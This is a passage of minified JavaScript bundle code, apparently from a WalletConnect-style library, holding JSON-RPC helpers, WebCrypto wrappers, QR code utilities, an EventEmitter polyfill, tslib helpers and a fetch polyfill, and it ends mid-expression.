f.c})),n.d(t,"isJsonRpcResponse",(function(){return f.d})),n.d(t,"isJsonRpcResult",(function(){return f.e})),n.d(t,"isJsonRpcError",(function(){return f.a})),n.d(t,"isJsonRpcValidationInvalid",(function(){return f.f}))},function(e,t,n){n.d(t,"b",(function(){return s})),n.d(t,"a",(function(){return a})),n.d(t,"c",(function(){return u})),n.d(t,"d",(function(){return c})),n.d(t,"e",(function(){return l})),n.d(t,"f",(function(){return f}));var r=n(5),i=n(3);async function o(e,t=i.a){return r.getSubtleCrypto().importKey("raw",e,function(e){return e===i.a?{length:i.b,name:i.a}:{hash:{name:i.f},name:i.e}}(t),!0,function(e){return e===i.a?[i.d,i.c]:[i.k,i.l]}(t))}async function s(e,t,n){const s=r.getSubtleCrypto(),a=await o(t,i.a),u=await s.encrypt({iv:e,name:i.a},a,n);return new Uint8Array(u)}async function a(e,t,n){const s=r.getSubtleCrypto(),a=await o(t,i.a),u=await s.decrypt({iv:e,name:i.a},a,n);return new Uint8Array(u)}async function u(e,t){const n=r.getSubtleCrypto(),s=await o(e,i.e),a=await n.sign({length:i.g,name:i.e},s,t);return new Uint8Array(a)}async function c(e,t){const n=r.getSubtleCrypto(),s=await o(e,i.e),a=await n.sign({length:i.h,name:i.e},s,t);return new Uint8Array(a)}async function l(e){const t=r.getSubtleCrypto(),n=await t.digest({name:i.i},e);return new Uint8Array(n)}async function f(e){const t=r.getSubtleCrypto(),n=await t.digest({name:i.j},e);return new Uint8Array(n)}},function(e,t){let n;const r=[0,26,44,70,100,134,172,196,242,292,346,404,466,532,581,655,733,815,901,991,1085,1156,1258,1364,1474,1588,1706,1828,1921,2051,2185,2323,2465,2611,2761,2876,3034,3196,3362,3532,3706];t.getSymbolSize=function(e){if(!e)throw new Error('"version" cannot be null or undefined');if(e<1||e>40)throw new Error('"version" should be in range from 1 to 40');return 4*e+17},t.getSymbolTotalCodewords=function(e){return r[e]},t.getBCHDigit=function(e){let t=0;for(;0!==e;)t++,e>>>=1;return t},t.setToSJISFunction=function(e){if("function"!=typeof e)throw new Error('"toSJISFunc" is not a valid function.');n=e},t.isKanjiModeEnabled=function(){return void 0!==n},t.toSJIS=function(e){return n(e)}},function(e,t,n){const r=n(54),i=n(55);t.NUMERIC={id:"Numeric",bit:1,ccBits:[10,12,14]},t.ALPHANUMERIC={id:"Alphanumeric",bit:2,ccBits:[9,11,13]},t.BYTE={id:"Byte",bit:4,ccBits:[8,16,16]},t.KANJI={id:"Kanji",bit:8,ccBits:[8,10,12]},t.MIXED={bit:-1},t.getCharCountIndicator=function(e,t){if(!e.ccBits)throw new Error("Invalid mode: "+e);if(!r.isValid(t))throw new Error("Invalid version: "+t);return t>=1&&t<10?e.ccBits[0]:t<27?e.ccBits[1]:e.ccBits[2]},t.getBestModeForData=function(e){return i.testNumeric(e)?t.NUMERIC:i.testAlphanumeric(e)?t.ALPHANUMERIC:i.testKanji(e)?t.KANJI:t.BYTE},t.toString=function(e){if(e&&e.id)return e.id;throw new Error("Invalid mode")},t.isValid=function(e){return e&&e.bit&&e.ccBits},t.from=function(e,n){if(t.isValid(e))return e;try{return function(e){if("string"!=typeof e)throw new Error("Param is not a string");switch(e.toLowerCase()){case"numeric":return t.NUMERIC;case"alphanumeric":return t.ALPHANUMERIC;case"kanji":return t.KANJI;case"byte":return t.BYTE;default:throw new Error("Unknown mode: "+e)}}(e)}catch(e){return n}}},function(e,t,n){n.d(t,"d",(function(){return i})),n.d(t,"c",(function(){return o})),n.d(t,"e",(function(){return s})),n.d(t,"a",(function(){return a})),n.d(t,"b",(function(){return u})),n.d(t,"g",(function(){return c})),n.d(t,"f",(function(){return l}));var r=n(4);function i(e){return e<=r.i[0]&&e>=r.i[1]}function o(e){return r.g.includes(e)}function s(e){return"number"==typeof e}function a(e){return Object.keys(r.j).includes(e)?r.j[e]:r.j[r.a]}function u(e){return Object.values(r.j).find((t=>t.code===e))||r.j[r.a]}function c(e){if(void 0===e.error.code)return{valid:!1,error:"Missing code for JSON-RPC error"};if(void 0===e.error.message)return{valid:!1,error:"Missing message for JSON-RPC error"};if(!s(e.error.code))return{valid:!1,error:"Invalid error code type for JSON-RPC: "+e.error.code};if(o(e.error.code)){const t=u(e.error.code);if(t.message!==r.j[r.a].message&&e.error.message===t.message)return{valid:!1,error:"Invalid error code message for JSON-RPC: "+e.error.code}}return{valid:!0}}function l(e,t,n){return e.message.includes("getaddrinfo ENOTFOUND")||e.message.includes("connect ECONNREFUSED")?new Error(`Unavailable ${n} RPC url at ${t}`):e}},function(e,t,n){function r(e){if("string"!=typeof e)throw new Error("Cannot safe json parse value of type "+typeof e);try{return JSON.parse(e)}catch(t){return e}}function i(e){return"string"==typeof e?e:JSON.stringify(e)}n.d(t,"a",(function(){return r})),n.d(t,"b",(function(){return i}))},function(e,t,n){var r,i="object"==typeof Reflect?Reflect:null,o=i&&"function"==typeof i.apply?i.apply:function(e,t,n){return Function.prototype.apply.call(e,t,n)};r=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var s=Number.isNaN||function(e){return e!=e};function a(){a.init.call(this)}e.exports=a,e.exports.once=function(e,t){return new Promise((function(n,r){function i(n){e.removeListener(t,o),r(n)}function o(){"function"==typeof e.removeListener&&e.removeListener("error",i),n([].slice.call(arguments))}v(e,t,o,{once:!0}),"error"!==t&&function(e,t,n){"function"==typeof e.on&&v(e,"error",t,n)}(e,i,{once:!0})}))},a.EventEmitter=a,a.prototype._events=void 0,a.prototype._eventsCount=0,a.prototype._maxListeners=void 0;var u=10;function c(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function l(e){return void 0===e._maxListeners?a.defaultMaxListeners:e._maxListeners}function f(e,t,n,r){var i,o,s,a;if(c(n),void 0===(o=e._events)?(o=e._events=Object.create(null),e._eventsCount=0):(void 0!==o.newListener&&(e.emit("newListener",t,n.listener?n.listener:n),o=e._events),s=o[t]),void 0===s)s=o[t]=n,++e._eventsCount;else if("function"==typeof s?s=o[t]=r?[n,s]:[s,n]:r?s.unshift(n):s.push(n),(i=l(e))>0&&s.length>i&&!s.warned){s.warned=!0;var u=new Error("Possible EventEmitter memory leak detected. "+s.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");u.name="MaxListenersExceededWarning",u.emitter=e,u.type=t,u.count=s.length,a=u,console&&console.warn&&console.warn(a)}return e}function h(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function d(e,t,n){var r={fired:!1,wrapFn:void 0,target:e,type:t,listener:n},i=h.bind(r);return i.listener=n,r.wrapFn=i,i}function p(e,t,n){var r=e._events;if(void 0===r)return[];var i=r[t];return void 0===i?[]:"function"==typeof i?n?[i.listener||i]:[i]:n?function(e){for(var t=new Array(e.length),n=0;n<t.length;++n)t[n]=e[n].listener||e[n];return t}(i):y(i,i.length)}function g(e){var t=this._events;if(void 0!==t){var n=t[e];if("function"==typeof n)return 1;if(void 0!==n)return n.length}return 0}function y(e,t){for(var n=new Array(t),r=0;r<t;++r)n[r]=e[r];return n}function v(e,t,n,r){if("function"==typeof e.on)r.once?e.once(t,n):e.on(t,n);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function i(o){r.once&&e.removeEventListener(t,i),n(o)}))}}Object.defineProperty(a,"defaultMaxListeners",{enumerable:!0,get:function(){return u},set:function(e){if("number"!=typeof e||e<0||s(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");u=e}}),a.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},a.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||s(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},a.prototype.getMaxListeners=function(){return l(this)},a.prototype.emit=function(e){for(var t=[],n=1;n<arguments.length;n++)t.push(arguments[n]);var r="error"===e,i=this._events;if(void 0!==i)r=r&&void 0===i.error;else if(!r)return!1;if(r){var s;if(t.length>0&&(s=t[0]),s instanceof Error)throw s;var a=new Error("Unhandled error."+(s?" ("+s.message+")":""));throw a.context=s,a}var u=i[e];if(void 0===u)return!1;if("function"==typeof u)o(u,this,t);else{var c=u.length,l=y(u,c);for(n=0;n<c;++n)o(l[n],this,t)}return!0},a.prototype.addListener=function(e,t){return f(this,e,t,!1)},a.prototype.on=a.prototype.addListener,a.prototype.prependListener=function(e,t){return f(this,e,t,!0)},a.prototype.once=function(e,t){return c(t),this.on(e,d(this,e,t)),this},a.prototype.prependOnceListener=function(e,t){return c(t),this.prependListener(e,d(this,e,t)),this},a.prototype.removeListener=function(e,t){var n,r,i,o,s;if(c(t),void 0===(r=this._events))return this;if(void 0===(n=r[e]))return this;if(n===t||n.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete r[e],r.removeListener&&this.emit("removeListener",e,n.listener||t));else if("function"!=typeof n){for(i=-1,o=n.length-1;o>=0;o--)if(n[o]===t||n[o].listener===t){s=n[o].listener,i=o;break}if(i<0)return this;0===i?n.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(n,i),1===n.length&&(r[e]=n[0]),void 0!==r.removeListener&&this.emit("removeListener",e,s||t)}return this},a.prototype.off=a.prototype.removeListener,a.prototype.removeAllListeners=function(e){var t,n,r;if(void 0===(n=this._events))return this;if(void 0===n.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==n[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete n[e]),this;if(0===arguments.length){var i,o=Object.keys(n);for(r=0;r<o.length;++r)"removeListener"!==(i=o[r])&&this.removeAllListeners(i);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=n[e]))this.removeListener(e,t);else if(void 0!==t)for(r=t.length-1;r>=0;r--)this.removeListener(e,t[r]);return this},a.prototype.listeners=function(e){return p(this,e,!0)},a.prototype.rawListeners=function(e){return p(this,e,!1)},a.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):g.call(e,t)},a.prototype.listenerCount=g,a.prototype.eventNames=function(){return this._eventsCount>0?r(this._events):[]}},function(e,t,n){var r=n(45);n.d(t,"randomBytes",(function(){return r.a}));var i=n(46);n.d(t,"aesCbcDecrypt",(function(){return i.a})),n.d(t,"aesCbcEncrypt",(function(){return i.b}));var o=n(47);n.d(t,"hmacSha256Sign",(function(){return o.a})),n(52),n(16),n(3)},function(e,t,n){n.d(t,"a",(function(){return r}));class r{}},function(e,t,n){var r=n(48);n.o(r,"isConstantTime")&&n.d(t,"isConstantTime",(function(){return r.isConstantTime})),n(49);var i=n(50);n.o(i,"isConstantTime")&&n.d(t,"isConstantTime",(function(){return i.isConstantTime}));var o=n(51);n.d(t,"isConstantTime",(function(){return o.a}))},function(e,t,n){n.r(t),n.d(t,"__extends",(function(){return i})),n.d(t,"__assign",(function(){return o})),n.d(t,"__rest",(function(){return s})),n.d(t,"__decorate",(function(){return a})),n.d(t,"__param",(function(){return u})),n.d(t,"__metadata",(function(){return c})),n.d(t,"__awaiter",(function(){return l})),n.d(t,"__generator",(function(){return f})),n.d(t,"__createBinding",(function(){return h})),n.d(t,"__exportStar",(function(){return d})),n.d(t,"__values",(function(){return p})),n.d(t,"__read",(function(){return g})),n.d(t,"__spread",(function(){return y})),n.d(t,"__spreadArrays",(function(){return v})),n.d(t,"__await",(function(){return m})),n.d(t,"__asyncGenerator",(function(){return _})),n.d(t,"__asyncDelegator",(function(){return b})),n.d(t,"__asyncValues",(function(){return w})),n.d(t,"__makeTemplateObject",(function(){return E})),n.d(t,"__importStar",(function(){return S})),n.d(t,"__importDefault",(function(){return O})),n.d(t,"__classPrivateFieldGet",(function(){return x})),n.d(t,"__classPrivateFieldSet",(function(){return I}));
2
- /*! *****************************************************************************
3
- Copyright (c) Microsoft Corporation.
4
-
5
- Permission to use, copy, modify, and/or distribute this software for any
6
- purpose with or without fee is hereby granted.
7
-
8
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
9
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
10
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
11
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
12
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
13
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
14
- PERFORMANCE OF THIS SOFTWARE.
15
- ***************************************************************************** */
16
- var r=function(e,t){return(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)};function i(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return(o=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e}).apply(this,arguments)};function s(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function a(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function u(e,t){return function(n,r){t(n,r,e)}}function c(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function l(e,t,n,r){return new(n||(n=Promise))((function(i,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){var t;e.done?i(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function f(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(o){return function(a){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!((i=(i=s.trys).length>0&&i[i.length-1])||6!==o[0]&&2!==o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,a])}}}function h(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function d(e,t){for(var n in e)"default"===n||t.hasOwnProperty(n)||(t[n]=e[n])}function p(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function g(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function y(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(g(arguments[t]));return e}function v(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function m(e){return this instanceof m?(this.v=e,this):new m(e)}function _(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{(n=i[e](t)).value instanceof m?Promise.resolve(n.value.v).then(u,c):l(o[0][2],n)}catch(e){l(o[0][3],e)}var n}function u(e){a("next",e)}function c(e){a("throw",e)}function l(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function b(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:m(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function w(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e=p(e),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,i){!function(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}(r,i,(t=e[n](t)).done,t.value)}))}}}function E(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function S(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function O(e){return e&&e.__esModule?e:{default:e}}function x(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function I(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}},function(e,t){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t){var n,r,i=e.exports={};function o(){throw new Error("setTimeout has not been defined")}function s(){throw new Error("clearTimeout has not been defined")}function a(e){if(n===setTimeout)return setTimeout(e,0);if((n===o||!n)&&setTimeout)return n=setTimeout,setTimeout(e,0);try{return n(e,0)}catch(t){try{return n.call(null,e,0)}catch(t){return n.call(this,e,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:o}catch(e){n=o}try{r="function"==typeof clearTimeout?clearTimeout:s}catch(e){r=s}}();var u,c=[],l=!1,f=-1;function h(){l&&u&&(l=!1,u.length?c=u.concat(c):f=-1,c.length&&d())}function d(){if(!l){var e=a(h);l=!0;for(var t=c.length;t;){for(u=c,c=[];++f<t;)u&&u[f].run();f=-1,t=c.length}u=null,l=!1,function(e){if(r===clearTimeout)return clearTimeout(e);if((r===s||!r)&&clearTimeout)return r=clearTimeout,clearTimeout(e);try{r(e)}catch(t){try{return r.call(null,e)}catch(t){return r.call(this,e)}}}(e)}}function p(e,t){this.fun=e,this.array=t}function g(){}i.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];c.push(new p(e,t)),1!==c.length||l||a(d)},p.prototype.run=function(){this.fun.apply(null,this.array)},i.title="browser",i.browser=!0,i.env={},i.argv=[],i.version="",i.versions={},i.on=g,i.addListener=g,i.once=g,i.off=g,i.removeListener=g,i.removeAllListeners=g,i.emit=g,i.prependListener=g,i.prependOnceListener=g,i.listeners=function(e){return[]},i.binding=function(e){throw new Error("process.binding is not supported")},i.cwd=function(){return"/"},i.chdir=function(e){throw new Error("process.chdir is not supported")},i.umask=function(){return 0}},function(e,t,n){n.r(t);var r=n(29);for(var i in r)["default"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return r[e]}))}(i);var o=n(15);n.d(t,"IEvents",(function(){return o.a}));var s=n(30);n.d(t,"IJsonRpcConnection",(function(){return s.b})),n.d(t,"IBaseJsonRpcProvider",(function(){return s.a})),n.d(t,"IJsonRpcProvider",(function(){return s.c}));var a=n(31);for(var i in a)["default","IEvents","IJsonRpcConnection","IBaseJsonRpcProvider","IJsonRpcProvider"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return a[e]}))}(i)},function(e,t){t.L={bit:1},t.M={bit:0},t.Q={bit:3},t.H={bit:2},t.isValid=function(e){return e&&void 0!==e.bit&&e.bit>=0&&e.bit<4},t.from=function(e,n){if(t.isValid(e))return e;try{return function(e){if("string"!=typeof e)throw new Error("Param is not a string");switch(e.toLowerCase()){case"l":case"low":return t.L;case"m":case"medium":return t.M;case"q":case"quartile":return t.Q;case"h":case"high":return t.H;default:throw new Error("Unknown EC Level: "+e)}}(e)}catch(e){return n}}},function(e,t){e.exports=i,i.strict=o,i.loose=s;var n=Object.prototype.toString,r={"[object Int8Array]":!0,"[object Int16Array]":!0,"[object Int32Array]":!0,"[object Uint8Array]":!0,"[object Uint8ClampedArray]":!0,"[object Uint16Array]":!0,"[object Uint32Array]":!0,"[object Float32Array]":!0,"[object Float64Array]":!0};function i(e){return o(e)||s(e)}function o(e){return e instanceof Int8Array||e instanceof Int16Array||e instanceof Int32Array||e instanceof Uint8Array||e instanceof Uint8ClampedArray||e instanceof Uint16Array||e instanceof Uint32Array||e instanceof Float32Array||e instanceof Float64Array}function s(e){return r[n.call(e)]}},function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.prototype=n,new e}();!function(e){!function(t){var n="URLSearchParams"in e,r="Symbol"in e&&"iterator"in Symbol,i="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),o="FormData"in e,s="ArrayBuffer"in e;if(s)var a=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],u=ArrayBuffer.isView||function(e){return e&&a.indexOf(Object.prototype.toString.call(e))>-1};function c(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function l(e){return"string"!=typeof e&&(e=String(e)),e}function f(e){var t={next:function(){var t=e.shift();return{done:void 0===t,value:t}}};return r&&(t[Symbol.iterator]=function(){return t}),t}function h(e){this.map={},e instanceof h?e.forEach((function(e,t){this.append(t,e)}),this):Array.isArray(e)?e.forEach((function(e){this.append(e[0],e[1])}),this):e&&Object.getOwnPropertyNames(e).forEach((function(t){this.append(t,e[t])}),this)}function d(e){if(e.bodyUsed)return Promise.reject(new TypeError("Already read"));e.bodyUsed=!0}function p(e){return new Promise((function(t,n){e.onload=function(){t(e.result)},e.onerror=function(){n(e.error)}}))}function g(e){var t=new FileReader,n=p(t);return t.readAsArrayBuffer(e),n}function y(e){if(e.slice)return e.slice(0);var t=new Uint8Array(e.byteLength);return t.set(new Uint8Array(e)),t.buffer}function v(){return this.bodyUsed=!1,this._initBody=function(e){var t;this._bodyInit=e,e?"string"==typeof e?this._bodyText=e:i&&Blob.prototype.isPrototypeOf(e)?this._bodyBlob=e:o&&FormData.prototype.isPrototypeOf(e)?this._bodyFormData=e:n&&URLSearchParams.prototype.isPrototypeOf(e)?this._bodyText=e.toString():s&&i&&(t=e)&&DataView.prototype.isPrototypeOf(t)?(this._bodyArrayBuffer=y(e.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer])):s&&(ArrayBuffer.prototype.isPrototypeOf(e)||u(e))?this._bodyArrayBuffer=y(e):this._bodyText=e=Object.prototype.toString.call(e):this._bodyText="",this.headers.get("content-type")||("string"==typeof e?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):n&&URLSearchParams.prototype.isPrototypeOf(e)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},i&&(this.blob=function(){var e=d(this);if(e)return e;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?d(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(g)}),this.text=function(){var e,t,n,r=d(this);if(r)return r;if(this._bodyBlob)return e=this._bodyBlob,n=p(t=new FileReader),t.readAsText(e),n;if(this._bodyArrayBuffer)return Promise.resolve(function(e){for(var t=new Uint8Array(e),n=new Array(t.length),r=0;r<t.length;r++)n[r]=String.fromCharCode(t[r]);return n.join("")}(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error("could not read FormData body as text");return Promise.resolve(this._bodyText)},o&&(this.formData=function(){return this.text().then(b)}),this.json=function(){return this.text().then(JSON.parse)},this}h.prototype.append=function(e,t){e=c(e),t=l(t);var n=this.map[e];this.map[e]=n?n+", "+t:t},h.prototype.delete=function(e){delete this.map[c(e)]},h.prototype.get=function(e){return e=c(e),this.has(e)?this.map[e]:null},h.prototype.has=function(e){return this.map.hasOwnProperty(c(e))},h.prototype.set=function(e,t){this.map[c(e)]=l(t)},h.prototype.forEach=function(e,t){for(var n in this.map)this.map.hasOwnProperty(n)&&e.call(t,this.map[n],n,this)},h.prototype.keys=function(){var e=[];return this.forEach((function(t,n){e.push(n)})),f(e)},h.prototype.values=function(){var e=[];return this.forEach((function(t){e.push(t)})),f(e)},h.prototype.entries=function(){var e=[];return this.forEach((function(t,n){e.push([n,t])})),f(e)},r&&(h.prototype[Symbol.iterator]=h.prototype.entries);var m=["DELETE","GET","HEAD","OPTIONS","POST","PUT"];function _(e,t){var n,r,i=(t=t||{}).body;if(e instanceof _){if(e.bodyUsed)throw new TypeError("Already read");this.url=e.url,this.credentials=e.credentials,t.headers||(this.headers=new h(e.headers)),this.method=e.method,this.mode=e.mode,this.signal=e.signal,i||null==e._bodyInit||(i=e._bodyInit,e.bodyUsed=!0)}else this.url=String(e);if(this.credentials=t.credentials||this.credentials||"same-origin",!t.headers&&this.headers||(this.headers=new h(t.headers)),this.method=(r=(n=t.method||this.method||"GET").toUpperCase(),m.indexOf(r)>-1?r:n),this.mode=t.mode||this.mode||null,this.signal=t.signal||this.signal,this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&i)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(i)}function b(e){var t=new FormData;return e.trim().split("&").forEach((function(e){if(e){var n=e.split("="),r=n.shift().replace(/\+/g," "),i=n.join("=").replace(/\+/g," ");t.append(decodeURIComponent(r),decodeURIComponent(i))}})),t}function w(e,t){t||(t={}),this.type="default",this.status=void 0===t.status?200:t.status,this.ok=this.status>=200&&this.status<300,this.statusText="statusText"in t?t.statusText:"OK",this.headers=new h(t.headers),this.url=t.url||"",this._initBody(e)}_.prototype.clone=function(){return new _(this,{body:this._bodyInit})},v.call(_.prototype),v.call(w.prototype),w.prototype.clone=function(){return new w(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new h(this.headers),url:this.url})},w.error=function(){var e=new w(null,{status:0,statusText:""});return e.type="error",e};var E=[301,302,303,307,308];w.redirect=function(e,t){if(-1===E.indexOf(t))throw new RangeError("Invalid status code");return new w(null,{status:t,headers:{location:e}})},t.DOMException=e.DOMException;try{new t.DOMException}catch(e){t.DOMException=function(e,t){this.message=e,this.name=t;var n=Error(e);this.stack=n.stack},t.DOMException.prototype=Object.create(Error.prototype),t.DOMException.prototype.constructor=t.DOMException}function S(e,n){return new Promise((function(r,o){var s=new _(e,n);if(s.signal&&s.signal.aborted)return o(new t.DOMException("Aborted","AbortError"));var a=new XMLHttpRequest;function u(){a.abort()}a.onload=function(){var e,t,n={status:a.status,statusText:a.statusText,headers:(e=a.getAllResponseHeaders()||"",t=new h,e.replace(/\r?\n[\t ]+/g," ").split(/\r?\n/).forEach((function(e){var n=e.split(":"),r=n.shift().trim();if(r){var i=n.join(":").trim();t.append(r,i)}})),t)};n.url="responseURL"in a?a.responseURL:n.headers.get("X-Request-URL");var i="response"in a?a.response:a.responseText;r(new w(i,n))},a.onerror=function(){o(new TypeError("Network request failed"))},a.ontimeout=function(){o(new TypeError("Network request failed"))},a.onabort=function(){o(new t.DOMException("Aborted","AbortError"))},a.open(s.method,s.url,!0),"include"===s.credentials?a.withCredentials=!0:"omit"===s.credentials&&(a.withCredentials=!1),"responseType"in 